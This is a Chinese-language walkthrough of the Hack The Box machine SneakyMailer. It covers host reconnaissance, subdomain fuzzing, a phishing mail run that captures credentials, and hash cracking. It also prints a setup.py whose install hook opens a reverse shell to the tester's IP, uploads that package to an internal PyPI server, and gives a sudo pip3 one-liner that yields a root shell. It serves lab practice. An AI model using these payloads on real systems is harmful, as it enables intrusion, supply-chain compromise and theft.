HTB 学习笔记
【Hack The Box】linux练习-- SneakyMailer
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月23日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
- HTB 学习笔记
- 信息收集
- 21
- 爆破域名
- 25
- 80
- imap
- ftp
- 深入
- pypi
- 创建恶意python包
- 上传
- pip提权
信息收集
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2
25/tcp open smtp Postfix smtpd
80/tcp open http nginx 1.14.2
http://sneakycorp.htb
143/tcp open imap Courier Imapd (released 2018)
993/tcp open ssl/imap Courier Imapd (released 2018)
8080/tcp open http nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
http://sneakycorp.htb
21
没戏
爆破域名
wfuzz -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H "Host: FUZZ.sneakycorp.htb" --hh 185
sneakycorp.htb
dev.sneakycorp.htb
这两个添加到hosts
25
Postfix smtpd
80
Sneaky Corp
也要看另外获取的域名
另一个域名是同站
有很多邮箱,我将采用工具爬去所有的邮箱
而只所以先爬邮箱是因为
以下的两种方式都可以
curl -s http://sneakycorp.htb/team.php | grep '@' | cut -d'>' -f2 | cut -d'<' -f1 > emails
后者
cewl -e --email_file emails.txt http://sneakycorp.htb/team.php
我们在 swaks 的参数中使用 cat 命令。 cat 命令将读取电子邮件,tr 将在电子邮件末尾添加逗号,我们将能够向从团队页面提取的所有电子邮件发送邮件。 但如果它不包含任何链接,则不是钓鱼邮件。 我们将输入我们自己的 IP 地址,以便接收在阅读该电子邮件时可能产生的任何请求。 我们也可以在本地机器上启动 netcat 以捕获是否生成任何请求。
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "http://10.10.14.29/" --server 10.129.2.28
显示
firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
获取的资料如下
paulbyrd@sneakymailer.htb
IMAP
sneakycorp.htb
paulbyrd
密码是:^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
imap
有了 Paul 的信誉,我可以查看他的电子邮件。 我可以手动与 IMAP 交互 nc在端口 143 上(或者如果我想在端口 993 上使用 TLS 版本,我可以使用 ncat(这是 nc在我的机器上别名为)与
apt install evolution
编辑添加账号
选择邮件账号
添加用户名
在都设置好之后就会跳出输入密码的窗口
而后我们会发现邮件
Hello administrator, I want to change this password for the developer account
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
Please notify me when you do it
给出了我们一个凭据
ftp
我们用这个凭据登陆ftp
都没有什么东西,看着像网站,并且有index.php,因为这是首页
并且与我们的目录爆破结果一致
那么我们在ftp上上传的文件就可以在王帐上访问到,所以我们可以顺其自然的上传一个后门文件(php)然后去浏览器访问即可
我将尝试上传
但是没了,应该是被清理了,这次我将衔接得快一点
回来看确实没有了
动作快一点就可以成功
深入
盒子上有两个用户,low和vmail:
这就是 Paul Byrd 的第二封电子邮件有用的地方。 它告诉 low 下载并运行本地 pypi 中的所有 Python 包。 绝对是一个暗示,我应该把一个放在那里。
pypi
pypi.sneakycorp.htb
有这个文件,passwd很敏感
$ cat .htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
hashcat -m 1600 pypi.hash /usr/share/wordlists/rockyou.txt --user --force
$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/:soufianeelhaoui
接下来就是想办法登陆到pypi服务器了,既然外部没有开放,那就内部看看,实在不行到时候做个代理做出去
ww-data@sneakymailer:/home/low$ netstat -tnlp4
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 744/nginx: worker p
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 744/nginx: worker p
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN -
发现了奇怪的nginx
ls -la /etc/nginx/sites-enabled
cat pypi.sneakycorp.htb
server {
listen 0.0.0.0:8080 default_server;
listen [::]:8080 default_server;
server_name _;
}
server {
listen 0.0.0.0:8080;
listen [::]:8080;
server_name pypi.sneakycorp.htb;
location / {
proxy_pass http://127.0.0.1:5000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
发现pypi开头的域名8080端口代理了5000端口
我先把pypi开头的域名加入hosts,然后访问8080,然后输入刚才的得到的密码
pypi.sneakycorp.htb
利用的凭据如下
pypi/soufianeelhaoui
创建恶意python包
我会为我的包创建一个文件夹, revshell,并创建以下文件夹结构和文件:
mkdir revshell;cd revshell;touch README.md;mkdir revshell;cd revshell;touch __init__.py;cd ..;touch setup.cfg;touch setup.py;cd ..
再看一下结构,如下即可
tree revshell
init.py是合法应用程序实际启动的地方,它必须存在才能使包工作。 我只会用 touch创建一个空文件。
我也会创建空 setup.cfg和 README.md文件。 README.md是包的文档。 setup.cfg应包含有关包元数据
README.md,我并不需要他们。但将它们作为空文件包含在内会显得更专业。
setup.py
恶意代码将进入 setup.py. 我实际上已经创建了一个恶意的 setup.py
代码如下,要修改自己的ip和端口
import os
import socket
import subprocess
from setuptools import setup
from setuptools.command.install import install
class Exploit(install):
def run(self):
RHOST = '10.10.14.29'
RPORT = 9999
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
for i in range(3):
os.dup2(s.fileno(), i)
p = subprocess.call(["/bin/sh","-i"])
setup(name='revshell',
version='0.0.1',
description='Reverse Shell',
author='0xdf',
author_email='0xdf',
url='http://sneakycopy.htb',
license='MIT',
zip_safe=False,
cmdclass={'install': Exploit})
到此为止我们只需要这一个有价值的文件
其他的都是为了显得专业
python setup.py sdist
打包成了一个dist
上传
cat ~/.pypirc
关注index-servers,下面要用
[distutils]
index-servers =
sneaky
[sneaky]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui
安装
python setup.py sdist upload -r sneaky
本地端口接收到shell
pip提权
简单
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip3 install $TF
就这样,要等一会,三分中
这还有很多